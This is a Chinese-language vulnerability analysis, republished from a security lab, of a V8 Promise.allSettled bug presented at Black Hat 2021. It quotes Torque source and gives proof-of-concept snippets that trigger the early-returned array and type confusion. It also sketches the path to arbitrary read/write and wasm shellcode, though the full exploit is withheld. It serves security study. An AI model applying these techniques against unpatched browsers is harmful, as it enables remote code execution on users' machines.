作者:星闌科技PotalLab
原文鏈接:https://mp.weixin.qq.com/s/mdMlS1Dk8k0-A1DqpitG_A

這是2021年blackhat上的一次議題分享中的漏洞,直到文檔完成視頻還未公開,且issue頁面也無權訪問,但是看了ppt后不禁被這絕妙的思路所折服,于是決定自己親手構造一番,在此感謝@__R0ng的指導。

ppt可以在這里找到:

https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Typhoon-Mangkhut-One-Click-Remote-Universal-Root-Formed-With-Two-Vulnerabilities.pdf

另外雖然是20年的漏洞,但是issue頁面直到本文編寫完成也未公開。

圖片

有關的兩次commit在這里:

commit1:

https://chromium.googlesource.com/v8/v8/+/26df3fdc2521788c4fb3c8c4b5a78f5dada8ab20

commit2:

https://chromium.googlesource.com/v8/v8/+/4c3cc31cfcd150d0c1db5e4229e6f90a9aef273b

漏洞分析

整體是關于Promise.allSettled 的錯誤,所以先看下有關內容。

關于Promise

Promise對象用于表示一個異步操作的最終完成 (或失敗)及其結果值,具體可以看這里:

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise

Promise 有以下三種狀態:

  • 待定(pending): 初始狀態,既沒有被兌現,也沒有被拒絕

  • 已兌現(fulfilled): 意味著操作成功完成

  • 已拒絕(rejected): 意味著操作失敗

待定狀態的 Promise 對象要么會通過一個值被兌現(fulfilled),要么會通過一個原因(錯誤)被拒絕(rejected)。當這些情況之一發生時,我們用 promise 的 then 方法排列起來的相關處理程序就會被調用。

Promise.allSettled()方法返回一個在所有給定的promise都已經fulfilled或rejected后的promise,并帶有一個對象數組,每個對象表示對應的promise結果。

關于Promise.allSettled()

Promise.allSettled()方法返回一個在所有給定的promise都已經fulfilled或rejected后的promise,并帶有一個對象數組,每個對象表示對應的promise結果 詳細的可以看這里:

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise/allSettled

// 用法
Promise.allSettled(iterable);
// iterable就是字面意思,一個可迭代對象

示例

Promise.allSettled([
Promise.resolve(1),
Promise.reject(2)
])
.then((results) => results.forEach((result) => console.log(result.status)));
// output:
// fulfilled
// rejected

重點是,只有傳入的所有promise對象都已經fulfilled或rejected后才會返回一個array。

Bug

我們來看下Promise.allSettled的對應實現,源碼在src/builtins/promise-all-element-closure.tq中。

transitioning macro PromiseAllResolveElementClosure<F: type>(
    implicit context: Context)(
    value: JSAny, function: JSFunction, wrapResultFunctor: F): JSAny {

[ ... ]
  const index = identityHash - 1;

  let remainingElementsCount = UnsafeCast<Smi>(
      context.elements[PromiseAllResolveElementContextSlots::
                           kPromiseAllResolveElementRemainingSlot]);

  let values = UnsafeCast<FixedArray>(
      context.elements[PromiseAllResolveElementContextSlots::
                           kPromiseAllResolveElementValuesSlot]);
  const newCapacity = index + 1;
  if (newCapacity > values.length_intptr) deferred {
      // This happens only when the promises are resolved during iteration.
      values = ExtractFixedArray(values, 0, values.length_intptr, newCapacity);
      context.elements[PromiseAllResolveElementContextSlots::
                           kPromiseAllResolveElementValuesSlot] = values;
    }
  values.objects[index] = updatedValue;

  remainingElementsCount = remainingElementsCount - 1;  //減1
  context.elements[PromiseAllResolveElementContextSlots::
                       kPromiseAllResolveElementRemainingSlot] =
      remainingElementsCount;
  if (remainingElementsCount == 0) {                                        //為0
    const capability = UnsafeCast<PromiseCapability>(
        context.elements[PromiseAllResolveElementContextSlots::
                             kPromiseAllResolveElementCapabilitySlot]);
    const resolve = UnsafeCast<JSAny>(capability.resolve);
    const arrayMap = UnsafeCast<Map>(
        nativeContext
            .elements[NativeContextSlot::JS_ARRAY_PACKED_ELEMENTS_MAP_INDEX]);
    const valuesArray = NewJSArray(arrayMap, values);
    Call(context, resolve, Undefined, valuesArray);   //返回array
  }
  return Undefined;
}

對于.tq后綴的文件是v8中的turque,詳細信息請看v8的官方文檔:

https://v8.dev/docs/torque

關于其概念不在講解,不影響我們理解漏洞

通過注釋我們可以得知,在其內部實現中有remainingElementsCount這么一個變量,在每調用一次PromiseAllResolveElementClosure時,都會將其減1,而其初始化時,就是傳入allSettled內的可迭代對象長度,當等于0時就會返回一個array。

那么如果我們在一個對象上既調用resolveElementFun也調用 rejectElementFun呢,這就會導致雖然只對一個對象進行了處理,但是remainingElementsCount卻減去2,最終我們只需將半數可迭代對象內部的內容給處理掉之后就能得到array。

所以我們可以先一步拿到返回的array,然而settled的過程仍在繼續,這點可以通過調試得知,后面在remainingElementsCount等于0后會繼續減為負數。

我們拿到array之后,可以改變array的map,從而在其之后的settled過程中達到類型混淆,比如我們可以將array從FixedArray類型變為NumberDictionary,如此一來最直觀的一點就是。

圖片

可以看到如果仍按照未變類型之前的偏移去讀寫數據的話就會造成越界讀寫,這也是在消去checkmaps之后常用的越界手段。

類型轉化的方法有slide上貼出的,arr[0x10000] = 1 ,原因是對于FixedArray來說,其內嵌的對象數量有一定的限制,超過這個限制就會自然轉化為NumberDictionary形式,同樣也是為了節省空間的優化表現形式。

  • befer

圖片

  • after

圖片

再來看一下內存布局

為了方便展示我用了arr = [1.1,2.2,3.3];

  • before

圖片

  • after

  • 首先可以看到他的排布順序也變了

圖片

圖片

可以看到布局改變很大,由于壓縮指針的原因,指針排布比較緊密,就沒有在圖中標注釋,但是仔細點可以看到從0x2c0e080c8214+8開始就是右key,左value的布局了。

如何觸發

前面也說了,只要對于一個迭代對象內的每個promise都一起調用倆函數resolveElementFun 和 rejectElementFun那么就能提前得到array,但是似乎還不知道具體怎么做

作者在slide中給了一段poc作為示范。

class MyCls{
  constructor(executor){
    executor(custom_resolve,custom_reject);
  }
  static resolve(){
    return{
      then:(fulfill, reject)=>{
        fulfill(); reject();
      }
    }
  }
}

源碼分析

經調試發現對于remainingElementsCount的初始化在promise-all.tq里面,設置為n+1后,后面會減1。

// ES#sec-promise.allsettled
// Promise.allSettled ( iterable )
transitioning javascript builtin PromiseAllSettled(
    js-implicit context: Context, receiver: JSAny)(iterable: JSAny): JSAny {
  return GeneratePromiseAll(  //================================調用GeneratePromiseAll
      receiver, iterable, PromiseAllSettledResolveElementFunctor{},
      PromiseAllSettledRejectElementFunctor{});
}
==============================================================================
transitioning macro GeneratePromiseAll<F1: type, F2: type>(
    implicit context: Context)(
    receiver: JSAny, iterable: JSAny, createResolveElementFunctor: F1,
    createRejectElementFunctor: F2): JSAny {
[ ... ]
  try {
    // Let iterator be GetIterator(iterable).
    // IfAbruptRejectPromise(iterator, promiseCapability).
    let i = iterator::GetIterator(iterable);

    // Let result be PerformPromiseAll(iteratorRecord, C,
    // promiseCapability). If result is an abrupt completion, then
    //   If iteratorRecord.[[Done]] is false, let result be
    //       IteratorClose(iterator, result).
    //    IfAbruptRejectPromise(result, promiseCapability).
    return PerformPromiseAll(        //=========================調用PerformPromiseAll
        receiver, capability, i, createResolveElementFunctor,
        createRejectElementFunctor) otherwise Reject;
[ ... ]
===============================================================================
transitioning macro PerformPromiseAll<F1: type, F2: type>(
    implicit context: Context)(
    constructor: JSReceiver, capability: PromiseCapability,
    iter: iterator::IteratorRecord, createResolveElementFunctor: F1,
    createRejectElementFunctor: F2): JSAny labels
Reject(Object) {
  const nativeContext = LoadNativeContext(context);
  const promise = capability.promise;
  const resolve = capability.resolve;
  const reject = capability.reject;
[ ... ]
  const resolveElementContext =
      CreatePromiseAllResolveElementContext(capability, nativeContext);

  let index: Smi = 1;
[ ... ]

  // Set iteratorRecord.[[Done]] to true.
  // Set remainingElementsCount.[[Value]] to
  //    remainingElementsCount.[[Value]] - 1.
  let remainingElementsCount = UnsafeCast<Smi>(
      resolveElementContext[PromiseAllResolveElementContextSlots::
                                kPromiseAllResolveElementRemainingSlot]);
  remainingElementsCount -= 1;
  resolveElementContext[PromiseAllResolveElementContextSlots::
                            kPromiseAllResolveElementRemainingSlot] =
      remainingElementsCount;
  if (remainingElementsCount > 0) {
    // Pre-allocate the backing store for the {values_array} to the desired
    // capacity here. We may already have elements here in case of some
    // fancy Thenable that calls the resolve callback immediately, so we need
    // to handle that correctly here.
    const valuesArray = UnsafeCast<JSArray>(
        resolveElementContext[PromiseAllResolveElementContextSlots::
                                  kPromiseAllResolveElementValuesArraySlot]);
    const oldElements = UnsafeCast<FixedArray>(valuesArray.elements);
    const oldCapacity = oldElements.length_intptr;
    const newCapacity = SmiUntag(index);
    if (oldCapacity < newCapacity) {
      valuesArray.elements =
          ExtractFixedArray(oldElements, 0, oldCapacity, newCapacity);
    }
  } else
    deferred {
      // If remainingElementsCount.[[Value]] is 0, then
      //     Let valuesArray be CreateArrayFromList(values).
      //     Perform ? Call(resultCapability.[[Resolve]], undefined,
      //                    ? valuesArray ?).
      assert(remainingElementsCount == 0);
      const valuesArray = UnsafeCast<JSAny>(
          resolveElementContext[PromiseAllResolveElementContextSlots::
                                    kPromiseAllResolveElementValuesArraySlot]);
      Call(nativeContext, UnsafeCast<JSAny>(resolve), Undefined, valuesArray);
    }
  //Print("WTF!");
  // Return resultCapability.[[Promise]].
  return promise;
}

PerformPromiseAll的代碼比較長,是對傳入的參數進行迭代,并對其中的每一個元素都調用了promiseResolve,具體的可以看看源碼,最后的Promise.allSettled的返回值那個promise是這里返回的,而那個array是promise-all-element-closure.tq 中處理的。

transitioning macro PromiseAllResolveElementClosure<F: type>(
    implicit context: Context)(
    value: JSAny, function: JSFunction, wrapResultFunctor: F): JSAny {
[ ... ]

  // Update the value depending on whether Promise.all or
  // Promise.allSettled is called.
  const updatedValue = wrapResultFunctor.Call(nativeContext, value);
  // Determine the index from the {function}.

  // Check if we need to grow the [[ValuesArray]] to store {value} at {index}.
  const valuesArray = UnsafeCast<JSArray>(
      context[PromiseAllResolveElementContextSlots::
                  kPromiseAllResolveElementValuesArraySlot]);
  const elements = UnsafeCast<FixedArray>(valuesArray.elements);
  const valuesLength = Convert<intptr>(valuesArray.length);
  if (index < valuesLength) {
  //Print('1');
    // The {index} is in bounds of the {values_array},
    // just store the {value} and continue.
    elements.objects[index] = updatedValue;//將對應promisefulfilled或reject后的返回值寫入array
  } else {
  //Print('2');
    // Check if we need to grow the backing store.
    const newLength = index + 1;
    const elementsLength = elements.length_intptr;
    if (index < elementsLength) {
      // The {index} is within bounds of the {elements} backing store, so
      // just store the {value} and update the "length" of the {values_array}.
      valuesArray.length = Convert<Smi>(newLength);
      elements.objects[index] = updatedValue;//將對應promisefulfilled或reject后的返回值寫入array
    } else
      deferred {
      //Print('3');
        // We need to grow the backing store to fit the {index} as well.
        const newElementsLength = IntPtrMin(
            CalculateNewElementsCapacity(newLength),
            kPropertyArrayHashFieldMax + 1);
        assert(index < newElementsLength);
        assert(elementsLength < newElementsLength);
        const newElements =
            ExtractFixedArray(elements, 0, elementsLength, newElementsLength);
        newElements.objects[index] = updatedValue;

        // Update backing store and "length" on {values_array}.
        valuesArray.elements = newElements;
        valuesArray.length = Convert<Smi>(newLength);
      }
  }
  let remainingElementsCount =
      UnsafeCast<Smi>(context[PromiseAllResolveElementContextSlots::
                                  kPromiseAllResolveElementRemainingSlot]);
  remainingElementsCount = remainingElementsCount - 1;
  //Print('remainingElementsCount in all-element ',remainingElementsCount);
  context[PromiseAllResolveElementContextSlots::
              kPromiseAllResolveElementRemainingSlot] = remainingElementsCount;
  if (remainingElementsCount == 0) {   //當remainingElementsCount為0時返回array
  //Print('return array');
    const capability = UnsafeCast<PromiseCapability>(
        context[PromiseAllResolveElementContextSlots::
                    kPromiseAllResolveElementCapabilitySlot]);
    const resolve = UnsafeCast<JSAny>(capability.resolve);
    Call(context, resolve, Undefined, valuesArray);   //返回array
  }
  return Undefined;
}

一些細節

0

關于poc,我們聲明完上面的class之后,用Reflect來調用allsettled,這樣就能傳入MyCls了,我初步寫的,其中的reflect是重點,要說明的是這里對于reflect的用法和我的最終版本有些差別,不過我思路寫的足夠詳細,各位可以自己動手嘗試。

class MyCls{
  constructor(executor){
    executor(custom_resolve,custom_reject);
  }
  static resolve(){
    return{
      then:(fulfill, reject)=>{
        console.log("call fulfill");
        fulfill();
        console.log("call reject");
        reject();
      }
    }
  }
}

// var arr = Reflect.construcst(MyCls,[function (reject,resolve){resolve()}],Promise);
var arr = Promise.allSettled([Reflect.apply(MyCls.resolve,Promise,[1])]);

圖片

1

圖片

我們能寫進去的只能是object的地址顯然最后一位都是1,因此有些debug下的檢查會導致abort,需要手動注釋,另外我們不能像下面這樣。

Promise.allSettled(b)
.then(arr => {
   arr[0x10000] = 1;
   %DebugPrint(arr);
 });

來改變返回的arr的map,因為這里的then其實是對allSettled的返回的Promise的操作,而這個Promise是allSettled完成之后才會返回的,所以在這里并不能接收到提前返回的arr,我們應該在custom_resolve中更改arr,因為這里我們才可以接收到提前返回的arr。

function custom_resolve(arr){
  console.log("custom_resolve called");
  arr[0x10000] = 1;
  // %DebugPrint(arr);
}
function custom_reject(){
  console.log("custom_reject called");
}

圖片

可以看到這里assert沒過去。

macro UnsafeCast<A : type extends Object>(implicit context: Context)(o: Object):
    A {
  //Print(o);
  assert(Is<A>(o));
  return %RawDownCast<A>(o);
}

這個assert只有在debug版本下才有,如同DCHECK,所以為了調試將assert去掉,除此之外還有很多檢查,只要是只有debug版本才有的都可以注釋掉。

在越界寫后,導致一些信息被修改,最后無法尋址arr的相關信息,一旦print等操作就會crash,應該是寫到了錯誤的地方導致的,我們應該仔細看下對應的內存布局

  • FixedArray

圖片

  • NumberDictionary

圖片

還可以對照下面的圖來看這個布局,經觀察發現是在deleted字段中寫入了一個obj地址,導致在print時一直向后訪問最終訪問到非法地址導致crash,我們需要控制一下,在我上面寫的版本中只有在寫入第1/2和最后一個promise時才會調用custom_resolve,我們在第一二次時將其改為NumberDictionary會寫到delete字段。

所以我們不能在resolve里改,聯系到我們可以在resolve中提前得到array,通過一個全局變量把arr取出來,就能實現任意時刻我們都可以改,那么剩下的就是需要在別處設計一個定時,從而在確定時機完成修改,我選擇在reject和fulfilled處加上count,在對應的調用次數時再修改。

3

圖片

在NumberDictionary中有個元數據用得到最后一位,當MaxNumberKey最后一位為1時,意味著沒有特殊元素,而其本身表示最大有效索引,但是因為其并不代表length,所以無論我們將其覆蓋成多大的值都無法得到一個越界數組,但是它的另一個含義為我們帶來的別的思路,最后一位映射的特殊元素包括get。

let arr = []
arr[0x10000] = 1
Object.defineProperty(arr, 0, {
  get : () => {
    console.log("getter called")
    return 1
  }
})

如果我們給他聲明了一個get操作,但之后又用obj的地址將MaxNumberKey最后一位覆蓋,那么在進入IterateElements中的判斷時會誤認為沒有get操作,從而在其后的回調中改變len得以成功,于是會越界讀取,此IterateElement是下面的一個內置函數中的內容,我們可以看下有get這個特殊元素的布局為。

圖片

正常情況下是

圖片

4

把目光放向內置函數,有一個能幫助我們越界讀的內置函數。

圖片

Array.prototype.concat是array的一個內置函數,是用來合并兩個array的,所以在這個過程中會對數組中的數據進行遍歷,我們并不是為了讓倆數組合并才用的這個調用,單純是利用這里可以助我們越界讀,所以我們可以利用concat中的回調,在其中改變數組長度,比如原本0x200的buffer我們在concat的回調中將其改為0x10,如此一來,就會把越界讀取的數據全存在返回的數組里。

左邊的標號和右邊的源碼是對應著的,首先我們前面的寫MaxNumberKey,使得能bypass這里的HasOnlySimpleElements檢查,然后在循環迭代時,先走下面的else分支,觸發GetElement回調,從而改變len。

Object.defineProperty(oob_arr, 0, {
    get : () => {
      print("=== getter called ===");
      victim_arr.length = 0x10;   // 在回調函數中修改數組長度
      gc();
      return 1;
    }
});

let a = oob_arr.concat(victim_arr);

圖片

成功修改MaxNumberKey,那么我們只需在victim_arr后面布置一下有特殊數值的arraybuffer,然后讀出就可以得到偏移。

5

圖片

剩下的思路

  • 通過越界讀,也就是通過前面的concat返回的數組,搜索出一個arrayBuffer的backing store地址,這點上面有提到,可以通過一些標記值減去相應偏移獲得。

  • 在這個ArrayBuffer里面偽造一個假的double Array,通過在arraybuffer里面布局達到,此時這個double array的地址也是已知。

  • 通過越界讀,可以得到這個偽造array的引用,具體來說就是因為有arrayBuffer的backing store地址,所以我們可以得到fake array的地址,然后我們將這個地址以浮點數形式寫在內存中,觸發越界讀,這樣讀取到這個地址時將越界讀到的值返回給一個變量,這個變量就能直接操控fake array,從而得到fake array的引用,這里我覺得是最妙的一點。

  • 通過這個給fake array的賦值,以及從oob array處讀取,以及從oob array處對其賦值,可以完成arb r/w。

  • 寫shellcode到wasm里,并調用。

這里剩下的就是調偏移布局讓讀到arraybuffer,體力活,不再展示,由于一些原因,構造poc的過程代碼和完成代碼就都不貼了,看完以上應該可以自己構造出來。

以上就是對這次21年bh上一個絕妙的利用手法的分析復現

參考

https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Typhoon-Mangkhut-One-Click-Remote-Universal-Root-Formed-With-Two-Vulnerabilities.pdf

https://vul.360.net/archives/144 (這是漏洞作者本人的記錄)


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1745/